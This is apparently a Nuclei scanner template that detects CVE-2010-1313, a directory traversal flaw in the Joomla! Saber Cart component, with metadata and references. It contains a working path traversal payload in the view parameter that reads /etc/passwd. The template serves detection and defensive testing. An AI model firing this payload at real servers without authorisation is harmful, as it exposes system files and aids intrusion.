id: CVE-2010-1313

info:
  name: Joomla! Component Saber Cart 1.0.0.12 - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the Seber Cart (com_sebercart) component 1.0.0.12 and 1.0.0.13 for Joomla!, when magic_quotes_gpc is disabled, allows remote attackers to read arbitrary files via a .. (dot dot) in the view parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and compromise of the Joomla! CMS.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/12082
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1313
    - http://www.exploit-db.com/exploits/12082
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:N/A:N
    cvss-score: 4.3
    cve-id: CVE-2010-1313
    cwe-id: CWE-22
    epss-score: 0.0238
    epss-percentile: 0.85203
    cpe: cpe:2.3:a:seber:com_sebercart:1.0.0.12:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: seber
    product: com_sebercart
  tags: cve,cve2010,joomla,lfi,edb,seber,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_sebercart&view=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a004730450220666513c189b6c6692fac2415246f77385c502c50854bf688501bebb338c09e6d022100a38fc8c95a9eac33e2eba3f5ba180a017b8b273ac579a3e99175cec583697e04:922c64590222798bb761d5b6d8e72950